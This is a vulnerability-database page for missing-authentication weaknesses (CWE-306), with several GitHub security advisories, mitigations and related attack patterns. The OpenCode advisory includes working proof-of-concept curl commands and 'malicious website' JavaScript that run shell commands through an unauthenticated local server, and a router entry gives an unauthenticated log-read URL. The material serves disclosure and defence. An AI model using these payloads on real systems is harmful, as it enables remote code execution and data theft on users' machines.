CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
4070 vulnerabilities reference this CWE, most recent first.
GHSA-VWQW-8WH7-G85P
Vulnerability from github – Published: 2023-04-21 15:30 – Updated: 2023-04-21 15:30A vulnerability, which was classified as critical, was found in MAXTECH MAX-G866ac 0.4.1_TBRO_20160314. This affects an unknown part of the component Remote Management. The manipulation leads to missing authentication. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-227001 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-2231"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-21T15:15:07Z",
"severity": "CRITICAL"
},
"details": "A vulnerability, which was classified as critical, was found in MAXTECH MAX-G866ac 0.4.1_TBRO_20160314. This affects an unknown part of the component Remote Management. The manipulation leads to missing authentication. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-227001 was assigned to this vulnerability.",
"id": "GHSA-vwqw-8wh7-g85p",
"modified": "2023-04-21T15:30:19Z",
"published": "2023-04-21T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2231"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.227001"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.227001"
},
{
"type": "WEB",
"url": "https://youtu.be/fikdcK_xlS8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VWRM-49FW-HJGJ
Vulnerability from github – Published: 2023-11-21 03:30 – Updated: 2023-11-21 03:30Red Lion SixTRAK and VersaTRAK Series RTUs with authenticated users enabled (UDR-A) any Sixnet UDR message will meet an authentication challenge over UDP/IP. When the same message is received over TCP/IP the RTU will simply accept the message with no authentication challenge.
{
"affected": [],
"aliases": [
"CVE-2023-42770"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-21T01:15:07Z",
"severity": "CRITICAL"
},
"details": "\nRed Lion SixTRAK and VersaTRAK Series RTUs with authenticated users enabled (UDR-A) any Sixnet UDR message will meet an authentication challenge over UDP/IP. When the same message is received over TCP/IP the RTU will simply accept the message with no authentication challenge.\n\n",
"id": "GHSA-vwrm-49fw-hjgj",
"modified": "2023-11-21T03:30:26Z",
"published": "2023-11-21T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42770"
},
{
"type": "WEB",
"url": "https://https://support.redlion.net/hc/en-us/articles/19339209248269-RLCSIM-2023-05-Authentication-Bypass-and-Remote-Code-Execution"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-320-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VX53-3HHQ-VPPX
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31A vulnerability in SenseLive X3050’s management ecosystem allows unauthenticated discovery of deployed units through the vendor’s management protocol, enabling identification of device presence, identifiers, and management interfaces without requiring credentials. Because discovery functions are exposed by the underlying service rather than gated by authentication, an attacker on the same network segment can rapidly enumerate targeted devices.
{
"affected": [],
"aliases": [
"CVE-2026-35064"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-24T00:16:27Z",
"severity": "HIGH"
},
"details": "A vulnerability in\u00a0SenseLive\u00a0X3050\u2019s management ecosystem allows unauthenticated discovery of deployed units through the vendor\u2019s management protocol, enabling identification of device presence, identifiers, and management interfaces without requiring credentials. Because discovery functions are exposed by the underlying service rather than gated by authentication, an attacker on the same network segment can rapidly enumerate targeted devices.",
"id": "GHSA-vx53-3hhq-vppx",
"modified": "2026-04-24T00:31:52Z",
"published": "2026-04-24T00:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35064"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-111-12.json"
},
{
"type": "WEB",
"url": "https://senselive.io/contact"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VXQV-J38R-6JMM
Vulnerability from github – Published: 2026-08-15 00:31 – Updated: 2026-08-15 00:31A flaw was found in Red Hat Quay. When the SECURITY_SCANNER_V4_PSK (pre-shared key) is not set, a remote unauthenticated attacker can send POST requests to the security scanner notification endpoint. This allows the attacker to flood the notification queue and inject path traversal characters into Clair API URL paths. The primary consequence is worker resource exhaustion and blind path manipulation on the configured Clair host, potentially leading to a denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-74243"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T23:16:34Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Red Hat Quay. When the SECURITY_SCANNER_V4_PSK (pre-shared key) is not set, a remote unauthenticated attacker can send POST requests to the security scanner notification endpoint. This allows the attacker to flood the notification queue and inject path traversal characters into Clair API URL paths. The primary consequence is worker resource exhaustion and blind path manipulation on the configured Clair host, potentially leading to a denial of service.",
"id": "GHSA-vxqv-j38r-6jmm",
"modified": "2026-08-15T00:31:24Z",
"published": "2026-08-15T00:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74243"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-74243"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2516142"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-VXW4-WV6M-9HHH
Vulnerability from github – Published: 2026-01-13 20:35 – Updated: 2026-01-13 20:35Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.
Summary
OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.
Details
When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:
POST /session/:id/shell- Execute shell commands (server.ts:1401)POST /pty- Create interactive terminal sessions (server.ts:267)GET /file/content?path=- Read arbitrary files (server.ts:1868)
The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().
No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.
PoC
Local exploitation:
API="http://127.0.0.1:4096" # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt # outputs: PWNED
Browser-based exploitation:
A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.
// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
});
});
Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.
Impact
Remote Code Execution via two vectors:
-
Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.
-
Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.
With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.
Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "opencode-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.216"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22812"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-749",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T20:35:08Z",
"nvd_published_at": "2026-01-12T23:15:53Z",
"severity": "HIGH"
},
"details": "*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process\u2014or any website via permissive CORS\u2014to execute arbitrary shell commands with the user\u0027s privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\" # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d \u0027{}\u0027 | jq -r \u0027.id\u0027)\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"agent\": \"build\", \"command\": \"echo PWNED \u003e /tmp/pwned.txt\"}\u0027\ncat /tmp/pwned.txt # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch(\u0027http://127.0.0.1:4096/session\u0027, {\n method: \u0027POST\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: \u0027{}\u0027\n})\n.then(r =\u003e r.json())\n.then(session =\u003e {\n fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n method: \u0027POST\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({agent: \u0027build\u0027, command: \u0027id \u003e /tmp/pwned.txt\u0027})\n });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*",
"id": "GHSA-vxw4-wv6m-9hhh",
"modified": "2026-01-13T20:35:08Z",
"published": "2026-01-13T20:35:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22812"
},
{
"type": "WEB",
"url": "https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c"
},
{
"type": "PACKAGE",
"url": "https://github.com/anomalyco/opencode"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenCode\u0027s Unauthenticated HTTP Server Allows Arbitrary Command Execution"
}
GHSA-VXW6-RGVR-442H
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-04 00:37An issue was discovered on LG GAMP-7100, GAPM-7200, and GAPM-8000 routers. An unauthenticated user can read a log file via an HTTP request containing its full pathname, such as http://192.168.0.1/var/gapm7100_${today's_date}.log for reading a filename such as gapm7100_190101.log.
{
"affected": [],
"aliases": [
"CVE-2019-7404"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-13T14:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on LG GAMP-7100, GAPM-7200, and GAPM-8000 routers. An unauthenticated user can read a log file via an HTTP request containing its full pathname, such as http://192.168.0.1/var/gapm7100_${today\u0027s_date}.log for reading a filename such as gapm7100_190101.log.",
"id": "GHSA-vxw6-rgvr-442h",
"modified": "2024-04-04T00:37:18Z",
"published": "2022-05-24T16:45:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7404"
},
{
"type": "WEB",
"url": "https://github.com/epistemophilia/CVEs/blob/master/LG-GAMP-Routers/CVE-2019-7404/poc-cve-2019-7404.py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VXWP-6HPW-P9G4
Vulnerability from github – Published: 2023-10-23 18:30 – Updated: 2024-04-04 08:53IBM Sterling Partner Engagement Manager 6.1.2, 6.2.0, and 6.2.2 could allow a remote user to perform unauthorized actions due to improper authentication. IBM X-Force ID: 266896.
{
"affected": [],
"aliases": [
"CVE-2023-43045"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-23T18:15:10Z",
"severity": "HIGH"
},
"details": "IBM Sterling Partner Engagement Manager 6.1.2, 6.2.0, and 6.2.2 could allow a remote user to perform unauthorized actions due to improper authentication. IBM X-Force ID: 266896.",
"id": "GHSA-vxwp-6hpw-p9g4",
"modified": "2024-04-04T08:53:19Z",
"published": "2023-10-23T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43045"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/266896"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7057409"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W26R-7WRH-3R44
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via RMI to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60313"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:34Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via RMI to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-w26r-7wrh-3r44",
"modified": "2026-07-22T00:31:33Z",
"published": "2026-07-22T00:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60313"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W2J6-P7C6-6CPJ
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Identity Manager Connector. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-34285"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:33Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Identity Manager Connector. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).",
"id": "GHSA-w2j6-p7c6-6cpj",
"modified": "2026-04-21T21:31:25Z",
"published": "2026-04-21T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34285"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W2JF-9C99-W76Q
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60290"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:31Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-w2jf-9c99-w76q",
"modified": "2026-07-22T00:31:31Z",
"published": "2026-07-22T00:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60290"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.